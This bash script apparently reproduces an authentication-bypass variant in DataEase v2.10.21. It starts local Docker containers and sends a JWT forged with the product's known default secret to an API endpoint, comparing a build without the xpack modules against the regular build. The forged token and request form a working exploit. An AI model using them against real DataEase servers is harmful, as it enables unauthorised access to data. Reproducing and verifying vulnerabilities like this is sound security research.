#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Images
FULL_IMAGE="registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.21"
NO_XPACK_IMAGE="dataease:v2.10.21-no-xpack"
MYSQL_IMAGE="mysql:8.4"
NETWORK="de-variant-net"

# Ports
FULL_PORT=8100
NO_XPACK_PORT=8101

# JWT forged with MD5("DataEase@123456") secret
FORGED_JWT="eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJ1aWQiOiAxLCAib2lkIjogMX0.lNnrI848YK8iGC4knd5eBCKFWEJepijeUxdJ_CJoPOo"
AUTH_HEADER="X-DE-TOKEN: $FORGED_JWT"

# Endpoints
TEST_ENDPOINT="/de2api/menu/query"

log() {
  echo "[$(date -Iseconds)] $*" | tee -a "$LOGS/variant_test.log"
}

# ------------------------------------------------------------------
# Step 0: Cleanup any previous runs
# ------------------------------------------------------------------
docker stop de-variant de-variant-full mysql-variant mysql-variant-full > /dev/null 2>&1 || true
docker rm de-variant de-variant-full mysql-variant mysql-variant-full > /dev/null 2>&1 || true
docker network rm "$NETWORK" > /dev/null 2>&1 || true

# ------------------------------------------------------------------
# Step 1: Build no-xpack image (removes xpack JARs from v2.10.21)
# ------------------------------------------------------------------
if ! docker image inspect "$NO_XPACK_IMAGE" > /dev/null 2>&1; then
  log "Building no-xpack image from $FULL_IMAGE ..."
  cat > /tmp/Dockerfile.no-xpack <<'EOF'
FROM registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.21
RUN rm -f /opt/apps/xpack-base.jar /opt/apps/xpack-permission.jar /opt/apps/xpack-sync.jar
EOF
  docker build -f /tmp/Dockerfile.no-xpack -t "$NO_XPACK_IMAGE" /tmp > "$LOGS/docker_build_no_xpack.log" 2>&1
  log "No-xpack image built: $NO_XPACK_IMAGE"
else
  log "No-xpack image already exists: $NO_XPACK_IMAGE"
fi

# ------------------------------------------------------------------
# Step 2: Create Docker network
# ------------------------------------------------------------------
docker network create "$NETWORK" > /dev/null 2>&1 || true
log "Docker network ready: $NETWORK"

# ------------------------------------------------------------------
# Helper: wait_for_mysql <container_name>
# ------------------------------------------------------------------
wait_for_mysql() {
  local name="$1"
  for i in {1..30}; do
    if docker exec "$name" mysqladmin ping -h localhost -uroot -pPassword123@mysql > /dev/null 2>&1; then
      log "MySQL ready: $name"
      return 0
    fi
    sleep 2
  done
  log "MySQL failed to start: $name"
  return 1
}

# ------------------------------------------------------------------
# Helper: wait_for_de <port>
# ------------------------------------------------------------------
wait_for_de() {
  local port="$1"
  for i in {1..120}; do
    local code
    code=$(curl -s -o /dev/null -w "%{http_code}" "http://localhost:$port/" || echo "000")
    if [ "$code" = "200" ] || [ "$code" = "302" ]; then
      log "DataEase ready on port $port"
      return 0
    fi
    sleep 2
  done
  log "DataEase failed to start on port $port"
  return 1
}

# ------------------------------------------------------------------
# Helper: start_de <image> <name> <port> <mysql_name>
# ------------------------------------------------------------------
start_de() {
  local image="$1"
  local name="$2"
  local port="$3"
  local mysql_name="$4"

  docker run -d --name "$name" --network "$NETWORK" -p "$port":8100 \
    -e SPRING_DATASOURCE_URL="jdbc:mysql://$mysql_name:3306/dataease?autoReconnect=false&useUnicode=true&characterEncoding=UTF-8&characterSetResults=UTF-8&zeroDateTimeBehavior=convertToNull&useSSL=false&allowPublicKeyRetrieval=true" \
    -e SPRING_DATASOURCE_USERNAME=root \
    -e SPRING_DATASOURCE_PASSWORD=Password123@mysql \
    "$image" > /dev/null 2>&1 || true

  # Workaround: sometimes docker run -d doesn't start the container
  if ! docker ps | grep -q "$name"; then
    docker start "$name" > /dev/null 2>&1 || true
  fi
}

# ==================================================================
# TEST A: No-xpack v2.10.21 (the BYPASS target)
# ==================================================================
log "=== TEST A: No-xpack v2.10.21 ==="

log "Starting MySQL for no-xpack test ..."
docker run -d --name mysql-variant --network "$NETWORK" \
  -e MYSQL_ROOT_PASSWORD=Password123@mysql \
  -e MYSQL_DATABASE=dataease \
  "$MYSQL_IMAGE" > /dev/null 2>&1
wait_for_mysql mysql-variant

log "Starting no-xpack DataEase on port $NO_XPACK_PORT ..."
start_de "$NO_XPACK_IMAGE" de-variant "$NO_XPACK_PORT" mysql-variant
wait_for_de "$NO_XPACK_PORT"

log "Testing forged JWT against no-xpack v2.10.21 ..."
curl -s -D "$LOGS/no_xpack_bypass_headers.txt" -o "$LOGS/no_xpack_bypass_body.txt" \
  -H "$AUTH_HEADER" "http://localhost:$NO_XPACK_PORT$TEST_ENDPOINT" || true
NO_XPACK_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -H "$AUTH_HEADER" "http://localhost:$NO_XPACK_PORT$TEST_ENDPOINT" || echo "ERR")
log "No-xpack v2.10.21 forged-JWT response status: $NO_XPACK_STATUS"

log "Testing baseline (no token) against no-xpack v2.10.21 ..."
curl -s -D "$LOGS/no_xpack_baseline_headers.txt" -o "$LOGS/no_xpack_baseline_body.txt" \
  "http://localhost:$NO_XPACK_PORT$TEST_ENDPOINT" || true
NO_XPACK_BASELINE=$(curl -s -o /dev/null -w "%{http_code}" "http://localhost:$NO_XPACK_PORT$TEST_ENDPOINT" || echo "ERR")
log "No-xpack v2.10.21 baseline response status: $NO_XPACK_BASELINE"

# Stop no-xpack containers
log "Stopping no-xpack containers ..."
docker stop de-variant mysql-variant > /dev/null 2>&1 || true
docker rm de-variant mysql-variant > /dev/null 2>&1 || true

# ==================================================================
# TEST B: Regular v2.10.21 (the FIXED target)
# ==================================================================
log "=== TEST B: Regular v2.10.21 ==="

log "Starting MySQL for regular test ..."
docker run -d --name mysql-variant-full --network "$NETWORK" \
  -e MYSQL_ROOT_PASSWORD=Password123@mysql \
  -e MYSQL_DATABASE=dataease \
  "$MYSQL_IMAGE" > /dev/null 2>&1
wait_for_mysql mysql-variant-full

log "Starting regular v2.10.21 DataEase on port $FULL_PORT ..."
start_de "$FULL_IMAGE" de-variant-full "$FULL_PORT" mysql-variant-full
wait_for_de "$FULL_PORT"

log "Testing forged JWT against regular v2.10.21 ..."
curl -s -D "$LOGS/full_bypass_headers.txt" -o "$LOGS/full_bypass_body.txt" \
  -H "$AUTH_HEADER" "http://localhost:$FULL_PORT$TEST_ENDPOINT" || true
FULL_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -H "$AUTH_HEADER" "http://localhost:$FULL_PORT$TEST_ENDPOINT" || echo "ERR")
log "Regular v2.10.21 forged-JWT response status: $FULL_STATUS"

log "Testing baseline (no token) against regular v2.10.21 ..."
curl -s -D "$LOGS/full_baseline_headers.txt" -o "$LOGS/full_baseline_body.txt" \
  "http://localhost:$FULL_PORT$TEST_ENDPOINT" || true
FULL_BASELINE=$(curl -s -o /dev/null -w "%{http_code}" "http://localhost:$FULL_PORT$TEST_ENDPOINT" || echo "ERR")
log "Regular v2.10.21 baseline response status: $FULL_BASELINE"

# ------------------------------------------------------------------
# Cleanup
# ------------------------------------------------------------------
log "Cleaning up containers ..."
docker stop de-variant-full mysql-variant-full > /dev/null 2>&1 || true
docker rm de-variant-full mysql-variant-full > /dev/null 2>&1 || true
docker network rm "$NETWORK" > /dev/null 2>&1 || true
log "Cleanup done"

# ------------------------------------------------------------------
# Verdict
# ------------------------------------------------------------------
log "=== VARIANT TEST RESULTS ==="
log "No-xpack v2.10.21 (community fallback) forged JWT status: $NO_XPACK_STATUS"
log "No-xpack v2.10.21 baseline (no token) status:              $NO_XPACK_BASELINE"
log "Regular v2.10.21 (with xpack) forged JWT status:          $FULL_STATUS"
log "Regular v2.10.21 baseline (no token) status:              $FULL_BASELINE"

if [ "$NO_XPACK_STATUS" = "200" ] && [ "$NO_XPACK_BASELINE" = "401" ]; then
  if [ "$FULL_STATUS" = "401" ]; then
    log "BYPASS CONFIRMED: Community fallback path in v2.10.21 still accepts forged JWT, while regular v2.10.21 rejects it."
    exit 0
  else
    log "PARTIAL BYPASS: No-xpack accepts forged JWT, but regular v2.10.21 also accepted it (unexpected)."
    exit 1
  fi
else
  log "Unexpected results. No-xpack=$NO_XPACK_STATUS, Baseline=$NO_XPACK_BASELINE, Full=$FULL_STATUS"
  exit 1
fi
